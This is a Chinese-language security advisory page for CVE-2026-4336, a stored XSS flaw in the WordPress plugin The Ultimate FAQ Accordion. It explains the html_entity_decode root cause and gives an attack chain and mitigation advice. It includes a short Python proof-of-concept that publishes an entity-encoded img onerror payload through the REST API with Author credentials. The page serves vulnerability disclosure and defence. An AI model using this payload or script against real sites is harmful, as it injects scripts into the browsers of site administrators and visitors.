IPBUF安全漏洞报告
English
CVE-2026-4336 CVSS 6.4 中危

CVE-2026-4336 WordPress插件存储型XSS漏洞

披露日期: 2026-04-09

漏洞信息

漏洞编号
CVE-2026-4336
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
The Ultimate FAQ Accordion WordPress插件

相关标签

XSSWordPressStored XSSWordPress PluginCVE-2026-4336

漏洞概述

WordPress插件The Ultimate FAQ Accordion在2.4.7及之前版本中存在存储型跨站脚本(XSS)漏洞。该漏洞源于插件在渲染FAQ内容时调用html_entity_decode()函数,将HTML实体编码转换回可执行的HTML,且输出时缺乏足够的转义处理。由于该插件的自定义文章类型支持REST API,拥有Author及以上权限的认证攻击者可以通过REST API提交恶意编码的HTML载荷。这些载荷在保存时绕过了WordPress的kses过滤,但在渲染时被解码并执行,导致任意Web脚本注入。

技术细节

该漏洞的技术核心在于插件对用户输入的处理逻辑存在双重缺陷。首先,插件注册了ufaq自定义文章类型,并设置show_in_rest为true,且默认使用post的权限类型,这使得Author级别的用户可以通过REST API创建和发布FAQ。其次,在View.FAQ.class.php文件的set_display_variables()函数中(第746行),插件对post_content调用了html_entity_decode()。这意味着攻击者提交的经过HTML实体编码的恶意载荷(如<img src=x onerror=alert()>)在保存时会被WordPress的kses机制视为普通文本而放过。然而,当FAQ页面被访问时,插件在faq-answer.php模板中直接输出经过html_entity_decode()解码后的内容,且未使用wp_kses_post()进行二次过滤。这种解码与输出逃逸的结合,使得存储在数据库中的实体编码被还原为可执行的HTML/JavaScript代码,从而触发存储型XSS。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标网站使用了受影响的The Ultimate FAQ Accordion插件。
STEP 2
2. 获取权限
攻击者注册或获取一个具有Author(作者)及以上权限的WordPress账户。
STEP 3
3. 利用漏洞
攻击者通过REST API向ufaq文章类型提交包含HTML实体编码的恶意脚本(如<img src=x onerror=alert(1)>)。
STEP 4
4. 绕过过滤
WordPress的kses过滤机制将实体编码视为纯文本放行,数据被存入数据库。
STEP 5
5. 触发执行
当管理员或普通用户访问包含该FAQ的页面时,插件调用html_entity_decode()解码内容,导致恶意脚本在浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # Target configuration target_url = "http://example.com/wp-json/wp/v2/ufaq" username = "author" password = "password" # Authenticate (using basic auth or application password) auth = (username, password) # Payload: HTML entity encoded XSS # Bypasses kses sanitization at save time payload_content = "<img src=x onerror=alert('CVE-2026-4336')>" headers = { "Content-Type": "application/json" } data = { "title": "FAQ XSS Test", "content": payload_content, "status": "publish" } # Send POST request to create FAQ via REST API response = requests.post(target_url, auth=auth, headers=headers, data=json.dumps(data)) if response.status_code == 201: print("POC successful: FAQ created. Visit the page to trigger XSS.") else: print(f"Failed: {response.status_code} - {response.text}")

影响范围

The Ultimate FAQ Accordion <= 2.4.7

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用插件或移除Author级别用户通过REST API发布FAQ的权限。此外,可以在插件模板文件中手动添加输出过滤函数,防止未转义的HTML内容被渲染。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表